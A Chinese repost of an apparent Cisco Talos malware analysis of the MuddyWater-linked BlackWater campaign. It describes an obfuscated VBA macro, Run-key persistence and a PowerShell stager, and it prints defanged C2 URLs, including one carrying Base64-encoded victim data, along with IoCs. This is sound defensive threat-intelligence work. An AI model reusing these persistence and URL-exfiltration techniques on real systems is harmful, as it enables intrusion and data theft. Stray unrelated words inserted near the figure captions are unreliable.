使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

本文主要是介绍使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

摘要

Cisco Talos团队近期发现名为“BlackWater”的恶意活动与可疑的持续威胁组织MuddyWater相关联。在2019年4月,我们开始监测到新型样本,并对其进行分析,结果表明攻击者已经在常规的运营活动中添加了三个不同的步骤,允许恶意软件绕过某些安全控制,并且MuddyWater的策略、技术和流程(TTPs)已经发展到逃避检测阶段。一旦成功,该恶意软件系列会将基于PowerShell的后门安装到受害者的计算机上,从而为威胁参与者提供远程访问的权限。尽管新型恶意活动表明,威胁参与者正在采取措施来提高其运营过程的安全性,并尽可能逃避终端检测,但我们发现其基础代码仍然保持不变。本文中所描述的分析成果将有助于威胁分析团队识别MuddyWater最新的TTP。

在最新的恶意活动中,威胁行为者首先添加了一个经过混淆后的Visual Basic for Applications(VBA)脚本,通过创建注册表项的方式来建立持久性。接下来,该脚本将触发PowerShell Stager,可能是为了伪装成红方工具,而不会被认为是高级威胁。随后,Stager将与一个威胁行为者控制的服务器进行通信,以获得FruityC2代理脚本的一个组件,这是GitHub上的一个开源框架,可以进一步枚举主机。这样一来,威胁参与者就可以监控Web日志,并确定未参与活动的某人是否向其服务器发出请求以尝试调查该活动。一旦枚举命令运行,代理将与不同的C2进行通信,并在URL字段中发回数据。这样一来,基于主机的检测将会变得更加困难,因为这一过程中并不会生成易于识别的“errors.txt”文件。威胁参与者还采取了额外的步骤来替换近期最新样本中的一些变量字符串,这可能是为了避免根据Yara规则进行基于签名的检测。

在近几个月内观察到的相关恶意样本显示,恶意活动的复杂程度不断增加。一些疑似与MuddyWater相关的样本表明,在2019年2月至3月期间,威胁参与者在受感染的主机上创建了持久性,并使用PowerShell命令枚举受害者的主机IP地址以及命令与控制(C2)服务器的IP地址。所有这些组件都包含在木马化的附件里,因此安全人员只需获得文档的样本,即可发现攻击者的TTP。与之相比,4月发生的恶意活动需要采取多步骤的调查方法。

BlackWater文档分析

Talos团队发现有证据表明恶意样本疑似与恶意组织MuddyWater有关。MuddyWater自2017年11月起至今一直活跃,并且主要针对中东地区的实体。我们有一定证据判断,这些文件是通过网络钓鱼电子邮件的方式发送给受害者的。其中的一个木马文件创建于2019年4月23日,其原始文件的标题是“company information list.doc”。中国菜刀

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

文档打开后,它会提示用户启用名称为“BlackWater.bas”的宏。威胁行为者对宏添加了密码保护,如果用户试图在Visual Basic中查看宏,可能会发现该宏无法访问,这可能是一种防逆向技术。威胁行为者使用了替换密码对“blackWater.bas”宏进行了混淆,并使用相应的整数来替换字符。

宏运行时的截图:天空彩

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

该宏中包含一个PowerShell脚本,可以在“运行”注册表项KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding中添加条目,从而保证持久性。然后脚本每300秒调用一次文件“\ProgramData\SysTextEnc.ini”。SysTextEnc.ini的明文版本似乎是一个轻量级的Stager。

从文档中找到的Stager的屏幕截图:

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

随后,Stager连接位于hxxp://38[.]132[.]99[.]167/crf.txt的威胁行为者控制的C2服务器。crf.txt文件的明文版本非常类似于MuddyWater组织在以土耳其的Krudish政治组织为目标时使用的PowerShell代理。下面的截图中展示了PowerShell木马的前几行。攻击者做了一些微小的改动,例如:修改变量名以避免Yara检测,将命令结果发送到URL中的C2而不是直接将它们写入文件。但是,尽管有上述这些改动,但恶意软件的基本功能仍然是几乎没有变化。值得注意的是,用于枚举主机的许多PowerShell命令似乎是从名为FruityC2的GitHub项目中派生出来的。

针对Krudish政治组织发起攻击的恶意文档中嵌入的PowerShell脚本:二四六

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

来自威胁行为者所控制服务器的PowerShell脚本:

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

这一系列命令,首先会向C2服务器发送hello消息,然后每隔300秒发送一次后续的hello消息。该信标的一个示例是“hxxp://82[.]102[.]8[.]101:80/bcerrxy.php?rCecms=BlackWater”。值得注意的是,木马化恶意文档的宏也被称为“BlackWater”,并且该值“BlackWater”也被以硬编码的格式写入到PowerShell脚本中。

接下来,该脚本将枚举受害者的主机。大多数PowerShell命令都会调用Windows Management Instrumentation(WMI),然后查询如下信息:

1. 操作系统的名称(即主机名称);

2. 操作系统的OS架构;

3. 操作系统的版本;

4. 计算机系统的域名;

5. 计算机系统的用户名;

6. 计算机的公网IP地址。

在这里,唯一一个没有调用WMI的命令是“System.Security.Cryptography.MD5CryptoServiceProvider.ComputerHash”,这是获取安全系统的MD5哈希值的命令。如果多个工作站在同一网络中被攻陷,那么可能会获取工作站的唯一标识。在获取基于主机的枚举信息之后,它将进行Base64编码,然后将编码后的内容附加到URL POST请求中发送至C2。而在以前的版本中,该信息被写入到文本文件中。编码后命令的示例如下所示:

hxxp://82[.]102[.]8[.]101/bcerrxy.php?riHl=RkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYqMTk5NypFUDEq0D0uTWljcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwqMzItYml0KlVTRVItUEMqV09SS0dST1VQ0D0uKlVTRVItUENcYWRtaW4qMTkyLjE2OC4wMDAuMDE=

经过解码后,上述命令将变得更加清晰:

hxxp://82[.]102[.]8[.]101/bcerrxy.php?riHi=FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF*1997*EP1*Ð=.Microsoft Windows 7 Professional*32-bit*USER-PC*WORKGROUPÐ=.*USER-PC\admin*192.168.000.01

总结

除了本文中描述的新型反检测方法之外,MuddyWater组织还进行了少量修改,以避免常见的基于主机的特征检测方法,并替换变量名称以逃避Yara特征检测。但这些变化是非常简单的,因为其基础代码库和植入功能仍然基本保持不变。然而,尽管这些修改非常微小,但它们足以避免某些检测机制。在上个月,MuddyWater的一些恶意活动被公开披露,但该组织没有受到这方面的影响,持续开展恶意活动。基于上述观察以及MuddyWater针对土耳其实体的历史恶意活动,我们有理由判断,这一系列恶意活动与MuddyWater恶意组织相关。

IoC

恶意样本哈希值

0f3cabc7f1e69d4a09856cc0135f7945850c1eb6aeecd010f788b3b8b4d91cad

9d998502c3999c4715c880882efa409c39dd6f7e4d8725c2763a30fbb55414b7

0d3e0c26f7f53dff444a37758b414720286f92da55e33ca0e69edc3c7f040ce2

A3bb6b3872dd7f0812231a480881d4d818d2dea7d2c8baed858b20cb318da981

6f882cc0cddd03bc123c8544c4b1c8b9267f4143936964a128aa63762e582aad

Bef9051bb6e85d94c4cfc4e03359b31584be027e87758483e3b1e65d389483e6

B2600ac9b83e5bb5f3d128dbb337ab1efcdc6ce404adb6678b062e95dbf10c93

4dd641df0f47cb7655032113343d53c0e7180d42e3549d08eb7cb83296b22f60

576d1d98d8669df624219d28abcbb2be0080272fa57bf7a637e2a9a669e37acf

062a8728e7fcf2ff453efc56da60631c738d9cd6853d8701818f18a4e77f8717

URL

hxxp://38[.]132[.]99[.]167/crf.txt

hxxp://82[.]102[.]8[.]101:80/bcerrxy.php?rCecms=BlackWater

hxxp://82[.]102[.]8[.]101/bcerrxy.php?

hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/helloServer.php

hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/getCommand.php

hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/

hxxp://136[.]243[.]87[.]112:3000/KLs6yUG5Df

hxxp://136[.]243[.]87[.]112:3000/ll5JH6f4Bh

hxxp://136[.]243[.]87[.]112:3000/Y3zP6ns7kG

检测

Doc.Dropper.Pwshell::malicious.tht.talos

这篇关于使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/779206

相关文章

Java Lambda表达式的使用详解

《JavaLambda表达式的使用详解》:本文主要介绍JavaLambda表达式的使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、前言二、Lambda表达式概述1. 什么是Lambda表达式?三、Lambda表达式的语法规则1. 无参数的Lambda表

Mysql的主从同步/复制的原理分析

《Mysql的主从同步/复制的原理分析》:本文主要介绍Mysql的主从同步/复制的原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录为什么要主从同步?mysql主从同步架构有哪些?Mysql主从复制的原理/整体流程级联复制架构为什么好?Mysql主从复制注意

Spring组件实例化扩展点之InstantiationAwareBeanPostProcessor使用场景解析

《Spring组件实例化扩展点之InstantiationAwareBeanPostProcessor使用场景解析》InstantiationAwareBeanPostProcessor是Spring... 目录一、什么是InstantiationAwareBeanPostProcessor?二、核心方法解

详解如何使用Python构建从数据到文档的自动化工作流

《详解如何使用Python构建从数据到文档的自动化工作流》这篇文章将通过真实工作场景拆解,为大家展示如何用Python构建自动化工作流,让工具代替人力完成这些数字苦力活,感兴趣的小伙伴可以跟随小编一起... 目录一、Excel处理:从数据搬运工到智能分析师二、PDF处理:文档工厂的智能生产线三、邮件自动化:

Spring @RequestMapping 注解及使用技巧详解

《Spring@RequestMapping注解及使用技巧详解》@RequestMapping是SpringMVC中定义请求映射规则的核心注解,用于将HTTP请求映射到Controller处理方法... 目录一、核心作用二、关键参数说明三、快捷组合注解四、动态路径参数(@PathVariable)五、匹配请

Java中的登录技术保姆级详细教程

《Java中的登录技术保姆级详细教程》:本文主要介绍Java中登录技术保姆级详细教程的相关资料,在Java中我们可以使用各种技术和框架来实现这些功能,文中通过代码介绍的非常详细,需要的朋友可以参考... 目录1.登录思路2.登录标记1.会话技术2.会话跟踪1.Cookie技术2.Session技术3.令牌技

Java 枚举的基本使用方法及实际使用场景

《Java枚举的基本使用方法及实际使用场景》枚举是Java中一种特殊的类,用于定义一组固定的常量,枚举类型提供了更好的类型安全性和可读性,适用于需要定义一组有限且固定的值的场景,本文给大家介绍Jav... 目录一、什么是枚举?二、枚举的基本使用方法定义枚举三、实际使用场景代替常量状态机四、更多用法1.实现接

springboot项目中使用JOSN解析库的方法

《springboot项目中使用JOSN解析库的方法》JSON,全程是JavaScriptObjectNotation,是一种轻量级的数据交换格式,本文给大家介绍springboot项目中使用JOSN... 目录一、jsON解析简介二、Spring Boot项目中使用JSON解析1、pom.XML文件引入依

Java中的record使用详解

《Java中的record使用详解》record是Java14引入的一种新语法(在Java16中成为正式功能),用于定义不可变的数据类,这篇文章给大家介绍Java中的record相关知识,感兴趣的朋友... 目录1. 什么是 record?2. 基本语法3. record 的核心特性4. 使用场景5. 自定

Python使用Tkinter打造一个完整的桌面应用

《Python使用Tkinter打造一个完整的桌面应用》在Python生态中,Tkinter就像一把瑞士军刀,它没有花哨的特效,却能快速搭建出实用的图形界面,作为Python自带的标准库,无需安装即可... 目录一、界面搭建:像搭积木一样组合控件二、菜单系统:给应用装上“控制中枢”三、事件驱动:让界面“活”